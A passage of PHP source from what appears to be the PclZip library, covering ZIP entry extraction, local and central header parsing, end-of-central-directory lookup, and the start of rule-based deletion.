      	$v_result = PCLZIP_ERR_USER_ABORTED;
      }

      // ----- Update the information
      // Only some fields can be modified
      $p_entry['filename'] = $v_local_header['filename'];
    }


    // ----- Look if extraction should be done
    if ($p_entry['status'] == 'ok') {

    // ----- Look for specific actions while the file exist
    if (file_exists($p_entry['filename']))
    {

      // ----- Look if file is a directory
      if (is_dir($p_entry['filename']))
      {

        // ----- Change the file status
        $p_entry['status'] = "already_a_directory";

        // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
        // For historical reason first PclZip implementation does not stop
        // when this kind of error occurs.
        if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
		    && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {

            PclZip::privErrorLog(PCLZIP_ERR_ALREADY_A_DIRECTORY,
			                     "Filename '".$p_entry['filename']."' is "
								 ."already used by an existing directory");

            return PclZip::errorCode();
		    }
      }
      // ----- Look if file is write protected
      else if (!is_writeable($p_entry['filename']))
      {

        // ----- Change the file status
        $p_entry['status'] = "write_protected";

        // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
        // For historical reason first PclZip implementation does not stop
        // when this kind of error occurs.
        if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
		    && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {

            PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL,
			                     "Filename '".$p_entry['filename']."' exists "
								 ."and is write protected");

            return PclZip::errorCode();
		    }
      }

      // ----- Look if the extracted file is older
      else if (filemtime($p_entry['filename']) > $p_entry['mtime'])
      {
        // ----- Change the file status
        if (   (isset($p_options[PCLZIP_OPT_REPLACE_NEWER]))
		    && ($p_options[PCLZIP_OPT_REPLACE_NEWER]===true)) {
	  	  }
		    else {
            $p_entry['status'] = "newer_exist";

            // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
            // For historical reason first PclZip implementation does not stop
            // when this kind of error occurs.
            if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
		        && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {

                PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL,
			             "Newer version of '".$p_entry['filename']."' exists "
					    ."and option PCLZIP_OPT_REPLACE_NEWER is not selected");

                return PclZip::errorCode();
		      }
		    }
      }
      else {
      }
    }

    // ----- Check the directory availability and create it if necessary
    else {
      if ((($p_entry['external']&0x00000010)==0x00000010) || (substr($p_entry['filename'], -1) == '/'))
        $v_dir_to_check = $p_entry['filename'];
      else if (!strstr($p_entry['filename'], "/"))
        $v_dir_to_check = "";
      else
        $v_dir_to_check = dirname($p_entry['filename']);

        if (($v_result = $this->privDirCheck($v_dir_to_check, (($p_entry['external']&0x00000010)==0x00000010))) != 1) {

          // ----- Change the file status
          $p_entry['status'] = "path_creation_fail";

          // ----- Return
          //return $v_result;
          $v_result = 1;
        }
      }
    }

    // ----- Look if extraction should be done
    if ($p_entry['status'] == 'ok') {

      // ----- Do the extraction (if not a folder)
      if (!(($p_entry['external']&0x00000010)==0x00000010))
      {
        // ----- Look for not compressed file
        if ($p_entry['compression'] == 0) {

    		  // ----- Opening destination file
          if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0)
          {

            // ----- Change the file status
            $p_entry['status'] = "write_error";

            // ----- Return
            return $v_result;
          }


          // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
          $v_size = $p_entry['compressed_size'];
          while ($v_size != 0)
          {
            $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
            $v_buffer = @fread($this->zip_fd, $v_read_size);
            /* Try to speed up the code
            $v_binary_data = pack('a'.$v_read_size, $v_buffer);
            @fwrite($v_dest_file, $v_binary_data, $v_read_size);
            */
            @fwrite($v_dest_file, $v_buffer, $v_read_size);
            $v_size -= $v_read_size;
          }

          // ----- Closing the destination file
          fclose($v_dest_file);

          // ----- Change the file mtime
          touch($p_entry['filename'], $p_entry['mtime']);


        }
        else {
          // ----- TBC
          // Need to be finished
          if (($p_entry['flag'] & 1) == 1) {
            PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION, 'File \''.$p_entry['filename'].'\' is encrypted. Encrypted files are not supported.');
            return PclZip::errorCode();
          }


          // ----- Look for using temporary file to unzip
          if ( (!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF]))
              && (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON])
                  || (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD])
                      && ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_entry['size'])) ) ) {
            $v_result = $this->privExtractFileUsingTempFile($p_entry, $p_options);
            if ($v_result < PCLZIP_ERR_NO_ERROR) {
              return $v_result;
            }
          }

          // ----- Look for extract in memory
          else {


            // ----- Read the compressed file in a buffer (one shot)
            if ($p_entry['compressed_size'] > 0) {
              $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);
            }
            else {
              $v_buffer = '';
            }

            // ----- Decompress the file
            $v_file_content = @gzinflate($v_buffer);
            unset($v_buffer);
            if ($v_file_content === FALSE) {

              // ----- Change the file status
              // TBC
              $p_entry['status'] = "error";

              return $v_result;
            }

            // ----- Opening destination file
            if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) {

              // ----- Change the file status
              $p_entry['status'] = "write_error";

              return $v_result;
            }

            // ----- Write the uncompressed data
            @fwrite($v_dest_file, $v_file_content, $p_entry['size']);
            unset($v_file_content);

            // ----- Closing the destination file
            @fclose($v_dest_file);

          }

          // ----- Change the file mtime
          @touch($p_entry['filename'], $p_entry['mtime']);
        }

        // ----- Look for chmod option
        if (isset($p_options[PCLZIP_OPT_SET_CHMOD])) {

          // ----- Change the mode of the file
          @chmod($p_entry['filename'], $p_options[PCLZIP_OPT_SET_CHMOD]);
        }

      }
    }

  	// ----- Change abort status
  	if ($p_entry['status'] == "aborted") {
        $p_entry['status'] = "skipped";
  	}

    // ----- Look for post-extract callback
    elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) {

      // ----- Generate a local information
      $v_local_header = array();
      $this->privConvertHeader2FileInfo($p_entry, $v_local_header);

      // ----- Call the callback
      // Here I do not use call_user_func() because I need to send a reference to the
      // header.
      $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header);

      // ----- Look for abort result
      if ($v_result == 2) {
      	$v_result = PCLZIP_ERR_USER_ABORTED;
      }
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privExtractFileUsingTempFile()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privExtractFileUsingTempFile(&$p_entry, &$p_options)
  {
    $v_result=1;

    // ----- Creates a temporary file
    $v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.gz';
    if (($v_dest_file = @fopen($v_gzip_temp_name, "wb")) == 0) {
      fclose($v_file);
      PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary write mode');
      return PclZip::errorCode();
    }


    // ----- Write gz file format header
    $v_binary_data = pack('va1a1Va1a1', 0x8b1f, Chr($p_entry['compression']), Chr(0x00), time(), Chr(0x00), Chr(3));
    @fwrite($v_dest_file, $v_binary_data, 10);

    // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
    $v_size = $p_entry['compressed_size'];
    while ($v_size != 0)
    {
      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
      $v_buffer = @fread($this->zip_fd, $v_read_size);
      //$v_binary_data = pack('a'.$v_read_size, $v_buffer);
      @fwrite($v_dest_file, $v_buffer, $v_read_size);
      $v_size -= $v_read_size;
    }

    // ----- Write gz file format footer
    $v_binary_data = pack('VV', $p_entry['crc'], $p_entry['size']);
    @fwrite($v_dest_file, $v_binary_data, 8);

    // ----- Close the temporary file
    @fclose($v_dest_file);

    // ----- Opening destination file
    if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) {
      $p_entry['status'] = "write_error";
      return $v_result;
    }

    // ----- Open the temporary gz file
    if (($v_src_file = @gzopen($v_gzip_temp_name, 'rb')) == 0) {
      @fclose($v_dest_file);
      $p_entry['status'] = "read_error";
      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode');
      return PclZip::errorCode();
    }


    // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
    $v_size = $p_entry['size'];
    while ($v_size != 0) {
      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
      $v_buffer = @gzread($v_src_file, $v_read_size);
      //$v_binary_data = pack('a'.$v_read_size, $v_buffer);
      @fwrite($v_dest_file, $v_buffer, $v_read_size);
      $v_size -= $v_read_size;
    }
    @fclose($v_dest_file);
    @gzclose($v_src_file);

    // ----- Delete the temporary file
    @unlink($v_gzip_temp_name);

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privExtractFileInOutput()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privExtractFileInOutput(&$p_entry, &$p_options)
  {
    $v_result=1;

    // ----- Read the file header
    if (($v_result = $this->privReadFileHeader($v_header)) != 1) {
      return $v_result;
    }


    // ----- Check that the file header is coherent with $p_entry info
    if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
        // TBC
    }

    // ----- Look for pre-extract callback
    if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) {

      // ----- Generate a local information
      $v_local_header = array();
      $this->privConvertHeader2FileInfo($p_entry, $v_local_header);

      // ----- Call the callback
      // Here I do not use call_user_func() because I need to send a reference to the
      // header.
//      eval('$v_result = '.$p_options[PCLZIP_CB_PRE_EXTRACT].'(PCLZIP_CB_PRE_EXTRACT, $v_local_header);');
      $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header);
      if ($v_result == 0) {
        // ----- Change the file status
        $p_entry['status'] = "skipped";
        $v_result = 1;
      }

      // ----- Look for abort result
      if ($v_result == 2) {
        // ----- This status is internal and will be changed in 'skipped'
        $p_entry['status'] = "aborted";
      	$v_result = PCLZIP_ERR_USER_ABORTED;
      }

      // ----- Update the information
      // Only some fields can be modified
      $p_entry['filename'] = $v_local_header['filename'];
    }

    // ----- Trace

    // ----- Look if extraction should be done
    if ($p_entry['status'] == 'ok') {

      // ----- Do the extraction (if not a folder)
      if (!(($p_entry['external']&0x00000010)==0x00000010)) {
        // ----- Look for not compressed file
        if ($p_entry['compressed_size'] == $p_entry['size']) {

          // ----- Read the file in a buffer (one shot)
          if ($p_entry['compressed_size'] > 0) {
            $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);
          }
          else {
            $v_buffer = '';
          }

          // ----- Send the file to the output
          echo $v_buffer;
          unset($v_buffer);
        }
        else {

          // ----- Read the compressed file in a buffer (one shot)
          if ($p_entry['compressed_size'] > 0) {
            $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);
          }
          else {
            $v_buffer = '';
          }

          // ----- Decompress the file
          $v_file_content = gzinflate($v_buffer);
          unset($v_buffer);

          // ----- Send the file to the output
          echo $v_file_content;
          unset($v_file_content);
        }
      }
    }

	// ----- Change abort status
	if ($p_entry['status'] == "aborted") {
      $p_entry['status'] = "skipped";
	}

    // ----- Look for post-extract callback
    elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) {

      // ----- Generate a local information
      $v_local_header = array();
      $this->privConvertHeader2FileInfo($p_entry, $v_local_header);

      // ----- Call the callback
      // Here I do not use call_user_func() because I need to send a reference to the
      // header.
      $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header);

      // ----- Look for abort result
      if ($v_result == 2) {
      	$v_result = PCLZIP_ERR_USER_ABORTED;
      }
    }

    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privExtractFileAsString()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privExtractFileAsString(&$p_entry, &$p_string, &$p_options)
  {
    $v_result=1;

    // ----- Read the file header
    $v_header = array();
    if (($v_result = $this->privReadFileHeader($v_header)) != 1)
    {
      // ----- Return
      return $v_result;
    }


    // ----- Check that the file header is coherent with $p_entry info
    if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
        // TBC
    }

    // ----- Look for pre-extract callback
    if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) {

      // ----- Generate a local information
      $v_local_header = array();
      $this->privConvertHeader2FileInfo($p_entry, $v_local_header);

      // ----- Call the callback
      // Here I do not use call_user_func() because I need to send a reference to the
      // header.
      $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header);
      if ($v_result == 0) {
        // ----- Change the file status
        $p_entry['status'] = "skipped";
        $v_result = 1;
      }

      // ----- Look for abort result
      if ($v_result == 2) {
        // ----- This status is internal and will be changed in 'skipped'
        $p_entry['status'] = "aborted";
      	$v_result = PCLZIP_ERR_USER_ABORTED;
      }

      // ----- Update the information
      // Only some fields can be modified
      $p_entry['filename'] = $v_local_header['filename'];
    }


    // ----- Look if extraction should be done
    if ($p_entry['status'] == 'ok') {

      // ----- Do the extraction (if not a folder)
      if (!(($p_entry['external']&0x00000010)==0x00000010)) {
        // ----- Look for not compressed file
  //      if ($p_entry['compressed_size'] == $p_entry['size'])
        if ($p_entry['compression'] == 0) {

          // ----- Reading the file
          if ($p_entry['compressed_size'] > 0) {
            $p_string = @fread($this->zip_fd, $p_entry['compressed_size']);
          }
          else {
            $p_string = '';
          }
        }
        else {

          // ----- Reading the file
          if ($p_entry['compressed_size'] > 0) {
            $v_data = @fread($this->zip_fd, $p_entry['compressed_size']);
          }
          else {
            $v_data = '';
          }

          // ----- Decompress the file
          if (($p_string = @gzinflate($v_data)) === FALSE) {
              // TBC
          }
        }

        // ----- Trace
      }
      else {
          // TBC : error : can not extract a folder in a string
      }

    }

  	// ----- Change abort status
  	if ($p_entry['status'] == "aborted") {
        $p_entry['status'] = "skipped";
  	}

    // ----- Look for post-extract callback
    elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) {

      // ----- Generate a local information
      $v_local_header = array();
      $this->privConvertHeader2FileInfo($p_entry, $v_local_header);

      // ----- Swap the content to header
      $v_local_header['content'] = $p_string;
      $p_string = '';

      // ----- Call the callback
      // Here I do not use call_user_func() because I need to send a reference to the
      // header.
      $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header);

      // ----- Swap back the content to header
      $p_string = $v_local_header['content'];
      unset($v_local_header['content']);

      // ----- Look for abort result
      if ($v_result == 2) {
      	$v_result = PCLZIP_ERR_USER_ABORTED;
      }
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privReadFileHeader()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privReadFileHeader(&$p_header)
  {
    $v_result=1;

    // ----- Read the 4 bytes signature
    $v_binary_data = @fread($this->zip_fd, 4);
    $v_data = unpack('Vid', $v_binary_data);

    // ----- Check signature
    if ($v_data['id'] != 0x04034b50)
    {

      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure');

      // ----- Return
      return PclZip::errorCode();
    }

    // ----- Read the first 42 bytes of the header
    $v_binary_data = fread($this->zip_fd, 26);

    // ----- Look for invalid block size
    if (strlen($v_binary_data) != 26)
    {
      $p_header['filename'] = "";
      $p_header['status'] = "invalid_header";

      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data));

      // ----- Return
      return PclZip::errorCode();
    }

    // ----- Extract the values
    $v_data = unpack('vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len', $v_binary_data);

    // ----- Get filename
    $p_header['filename'] = fread($this->zip_fd, $v_data['filename_len']);

    // ----- Get extra_fields
    if ($v_data['extra_len'] != 0) {
      $p_header['extra'] = fread($this->zip_fd, $v_data['extra_len']);
    }
    else {
      $p_header['extra'] = '';
    }

    // ----- Extract properties
    $p_header['version_extracted'] = $v_data['version'];
    $p_header['compression'] = $v_data['compression'];
    $p_header['size'] = $v_data['size'];
    $p_header['compressed_size'] = $v_data['compressed_size'];
    $p_header['crc'] = $v_data['crc'];
    $p_header['flag'] = $v_data['flag'];
    $p_header['filename_len'] = $v_data['filename_len'];

    // ----- Recuperate date in UNIX format
    $p_header['mdate'] = $v_data['mdate'];
    $p_header['mtime'] = $v_data['mtime'];
    if ($p_header['mdate'] && $p_header['mtime'])
    {
      // ----- Extract time
      $v_hour = ($p_header['mtime'] & 0xF800) >> 11;
      $v_minute = ($p_header['mtime'] & 0x07E0) >> 5;
      $v_seconde = ($p_header['mtime'] & 0x001F)*2;

      // ----- Extract date
      $v_year = (($p_header['mdate'] & 0xFE00) >> 9) + 1980;
      $v_month = ($p_header['mdate'] & 0x01E0) >> 5;
      $v_day = $p_header['mdate'] & 0x001F;

      // ----- Get UNIX date format
      $p_header['mtime'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year);

    }
    else
    {
      $p_header['mtime'] = time();
    }

    // TBC
    //for(reset($v_data); $key = key($v_data); next($v_data)) {
    //}

    // ----- Set the stored filename
    $p_header['stored_filename'] = $p_header['filename'];

    // ----- Set the status field
    $p_header['status'] = "ok";

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privReadCentralFileHeader()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privReadCentralFileHeader(&$p_header)
  {
    $v_result=1;

    // ----- Read the 4 bytes signature
    $v_binary_data = @fread($this->zip_fd, 4);
    $v_data = unpack('Vid', $v_binary_data);

    // ----- Check signature
    if ($v_data['id'] != 0x02014b50)
    {

      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure');

      // ----- Return
      return PclZip::errorCode();
    }

    // ----- Read the first 42 bytes of the header
    $v_binary_data = fread($this->zip_fd, 42);

    // ----- Look for invalid block size
    if (strlen($v_binary_data) != 42)
    {
      $p_header['filename'] = "";
      $p_header['status'] = "invalid_header";

      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data));

      // ----- Return
      return PclZip::errorCode();
    }

    // ----- Extract the values
    $p_header = unpack('vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset', $v_binary_data);

    // ----- Get filename
    if ($p_header['filename_len'] != 0)
      $p_header['filename'] = fread($this->zip_fd, $p_header['filename_len']);
    else
      $p_header['filename'] = '';

    // ----- Get extra
    if ($p_header['extra_len'] != 0)
      $p_header['extra'] = fread($this->zip_fd, $p_header['extra_len']);
    else
      $p_header['extra'] = '';

    // ----- Get comment
    if ($p_header['comment_len'] != 0)
      $p_header['comment'] = fread($this->zip_fd, $p_header['comment_len']);
    else
      $p_header['comment'] = '';

    // ----- Extract properties

    // ----- Recuperate date in UNIX format
    //if ($p_header['mdate'] && $p_header['mtime'])
    // TBC : bug : this was ignoring time with 0/0/0
    if (1)
    {
      // ----- Extract time
      $v_hour = ($p_header['mtime'] & 0xF800) >> 11;
      $v_minute = ($p_header['mtime'] & 0x07E0) >> 5;
      $v_seconde = ($p_header['mtime'] & 0x001F)*2;

      // ----- Extract date
      $v_year = (($p_header['mdate'] & 0xFE00) >> 9) + 1980;
      $v_month = ($p_header['mdate'] & 0x01E0) >> 5;
      $v_day = $p_header['mdate'] & 0x001F;

      // ----- Get UNIX date format
      $p_header['mtime'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year);

    }
    else
    {
      $p_header['mtime'] = time();
    }

    // ----- Set the stored filename
    $p_header['stored_filename'] = $p_header['filename'];

    // ----- Set default status to ok
    $p_header['status'] = 'ok';

    // ----- Look if it is a directory
    if (substr($p_header['filename'], -1) == '/') {
      //$p_header['external'] = 0x41FF0010;
      $p_header['external'] = 0x00000010;
    }


    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privCheckFileHeaders()
  // Description :
  // Parameters :
  // Return Values :
  //   1 on success,
  //   0 on error;
  // --------------------------------------------------------------------------------
  function privCheckFileHeaders(&$p_local_header, &$p_central_header)
  {
    $v_result=1;

  	// ----- Check the static values
  	// TBC
  	if ($p_local_header['filename'] != $p_central_header['filename']) {
  	}
  	if ($p_local_header['version_extracted'] != $p_central_header['version_extracted']) {
  	}
  	if ($p_local_header['flag'] != $p_central_header['flag']) {
  	}
  	if ($p_local_header['compression'] != $p_central_header['compression']) {
  	}
  	if ($p_local_header['mtime'] != $p_central_header['mtime']) {
  	}
  	if ($p_local_header['filename_len'] != $p_central_header['filename_len']) {
  	}

  	// ----- Look for flag bit 3
  	if (($p_local_header['flag'] & 8) == 8) {
          $p_local_header['size'] = $p_central_header['size'];
          $p_local_header['compressed_size'] = $p_central_header['compressed_size'];
          $p_local_header['crc'] = $p_central_header['crc'];
  	}

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privReadEndCentralDir()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privReadEndCentralDir(&$p_central_dir)
  {
    $v_result=1;

    // ----- Go to the end of the zip file
    $v_size = filesize($this->zipname);
    @fseek($this->zip_fd, $v_size);
    if (@ftell($this->zip_fd) != $v_size)
    {
      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to go to the end of the archive \''.$this->zipname.'\'');

      // ----- Return
      return PclZip::errorCode();
    }

    // ----- First try : look if this is an archive with no commentaries (most of the time)
    // in this case the end of central dir is at 22 bytes of the file end
    $v_found = 0;
    if ($v_size > 26) {
      @fseek($this->zip_fd, $v_size-22);
      if (($v_pos = @ftell($this->zip_fd)) != ($v_size-22))
      {
        // ----- Error log
        PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \''.$this->zipname.'\'');

        // ----- Return
        return PclZip::errorCode();
      }

      // ----- Read for bytes
      $v_binary_data = @fread($this->zip_fd, 4);
      $v_data = @unpack('Vid', $v_binary_data);

      // ----- Check signature
      if ($v_data['id'] == 0x06054b50) {
        $v_found = 1;
      }

      $v_pos = ftell($this->zip_fd);
    }

    // ----- Go back to the maximum possible size of the Central Dir End Record
    if (!$v_found) {
      $v_maximum_size = 65557; // 0xFFFF + 22;
      if ($v_maximum_size > $v_size)
        $v_maximum_size = $v_size;
      @fseek($this->zip_fd, $v_size-$v_maximum_size);
      if (@ftell($this->zip_fd) != ($v_size-$v_maximum_size))
      {
        // ----- Error log
        PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \''.$this->zipname.'\'');

        // ----- Return
        return PclZip::errorCode();
      }

      // ----- Read byte per byte in order to find the signature
      $v_pos = ftell($this->zip_fd);
      $v_bytes = 0x00000000;
      while ($v_pos < $v_size)
      {
        // ----- Read a byte
        $v_byte = @fread($this->zip_fd, 1);

        // -----  Add the byte
        //$v_bytes = ($v_bytes << 8) | Ord($v_byte);
        // Note we mask the old value down such that once shifted we can never end up with more than a 32bit number
        // Otherwise on systems where we have 64bit integers the check below for the magic number will fail.
        $v_bytes = ( ($v_bytes & 0xFFFFFF) << 8) | Ord($v_byte);

        // ----- Compare the bytes
        if ($v_bytes == 0x504b0506)
        {
          $v_pos++;
          break;
        }

        $v_pos++;
      }

      // ----- Look if not found end of central dir
      if ($v_pos == $v_size)
      {

        // ----- Error log
        PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Unable to find End of Central Dir Record signature");

        // ----- Return
        return PclZip::errorCode();
      }
    }

    // ----- Read the first 18 bytes of the header
    $v_binary_data = fread($this->zip_fd, 18);

    // ----- Look for invalid block size
    if (strlen($v_binary_data) != 18)
    {

      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid End of Central Dir Record size : ".strlen($v_binary_data));

      // ----- Return
      return PclZip::errorCode();
    }

    // ----- Extract the values
    $v_data = unpack('vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size', $v_binary_data);

    // ----- Check the global size
    if (($v_pos + $v_data['comment_size'] + 18) != $v_size) {

	  // ----- Removed in release 2.2 see readme file
	  // The check of the file size is a little too strict.
	  // Some bugs where found when a zip is encrypted/decrypted with 'crypt'.
	  // While decrypted, zip has training 0 bytes
	  if (0) {
      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT,
	                       'The central dir is not at the end of the archive.'
						   .' Some trailing bytes exists after the archive.');

      // ----- Return
      return PclZip::errorCode();
	  }
    }

    // ----- Get comment
    if ($v_data['comment_size'] != 0) {
      $p_central_dir['comment'] = fread($this->zip_fd, $v_data['comment_size']);
    }
    else
      $p_central_dir['comment'] = '';

    $p_central_dir['entries'] = $v_data['entries'];
    $p_central_dir['disk_entries'] = $v_data['disk_entries'];
    $p_central_dir['offset'] = $v_data['offset'];
    $p_central_dir['size'] = $v_data['size'];
    $p_central_dir['disk'] = $v_data['disk'];
    $p_central_dir['disk_start'] = $v_data['disk_start'];

    // TBC
    //for(reset($p_central_dir); $key = key($p_central_dir); next($p_central_dir)) {
    //}

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privDeleteByRule()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privDeleteByRule(&$p_result_list, &$p_options)
  {
    $v_result=1;
    $v_list_detail = array();

    // ----- Open the zip file
    if (($v_result=$this->privOpenFd('rb')) != 1)
    {
      // ----- Return
      return $v_result;
    }

    // ----- Read the central directory information
    $v_central_dir = array();
    if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
    {
      $this->privCloseFd();
      return $v_result;
    }

    // ----- Go to beginning of File
    @rewind($this->zip_fd);

    // ----- Scan all the files
    // ----- Start at beginning of Central Dir
    $v_pos_entry = $v_central_dir['offset'];
    @rewind($this->zip_fd);
    if (@fseek($this->zip_fd, $v_pos_entry))
    {
      // ----- Close the zip file
      $this->privCloseFd();

      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');

      // ----- Return
      return PclZip::errorCode();
    }

    // ----- Read each entry
    $v_header_list = array();
    $j_start = 0;
    for ($i=0, $v_nb_extracted=0; $i<$v_central_dir['entries']; $i++)
    {

      // ----- Read the file header
      $v_header_list[$v_nb_extracted] = array();
      if (($v_result = $this->privReadCentralFileHeader($v_header_list[$v_nb_extracted])) != 1)
      {
        // ----- Close the zip file
        $this->privCloseFd();

        return $v_result;
      }


      // ----- Store the index
      $v_header_list[$v_nb_extracted]['index'] = $i;

      // ----- Look for the specific extract rules
      $v_found = false;

      // ----- Look for extract by name rule
      if (   (isset($p_options[PCLZIP_OPT_BY_NAME]))
          && ($p_options[PCLZIP_OPT_BY_NAME] != 0)) {

          // ----- Look if the filename is in the list
          for ($j=0; ($j<sizeof($p_options[PCLZIP_OPT_BY_NAME])) && (!$v_found); $j++) {

              // ----- Look for a directory
              if (substr($p_options[PCLZIP_OPT_BY_NAME][$j], -1) == "/") {

                  // ----- Look if the directory is in the filename path
                  if (   (strlen($v_header_list[$v_nb_extracted]['stored_filename']) > strlen($p_options[PCLZIP_OPT_BY_NAME][$j]))
                      && (substr($v_header_list[$v_nb_extracted]['stored_filename'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
                      $v_found = true;
                  }
                  elseif (   (($v_header_list[$v_nb_extracted]['external']&0x00000010)==0x00000010) /* Indicates a folder */
                          && ($v_header_list[$v_nb_extracted]['stored_filename'].'/' == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
                      $v_found = true;
                  }
              }
              // ----- Look for a filename
              elseif ($v_header_list[$v_nb_extracted]['stored_filename'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) {
                  $v_found = true;
              }
          }
      }

      // ----- Look for extract by ereg rule
      // ereg() is deprecated with PHP 5.3
      /*
      else if (   (isset($p_options[PCLZIP_OPT_BY_EREG]))
               && ($p_options[PCLZIP_OPT_BY_EREG] != "")) {

          if (ereg($p_options[PCLZIP_OPT_BY_EREG], $v_header_list[$v_nb_extracted]['stored_filename'])) {
              $v_found = true;
          }
      }
      */

      // ----- Look for extract by preg rule
      else if (   (isset($p_options[PCLZIP_OPT_BY_PREG]))
               && ($p_options[PCLZIP_OPT_BY_PREG] != "")) {

          if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header_list[$v_nb_extracted]['stored_filename'])) {
              $v_found = true;
          }
      }

      // ----- Look for extract by index rule
      else if (   (isset($p_options[PCLZIP_OPT_BY_INDEX]))
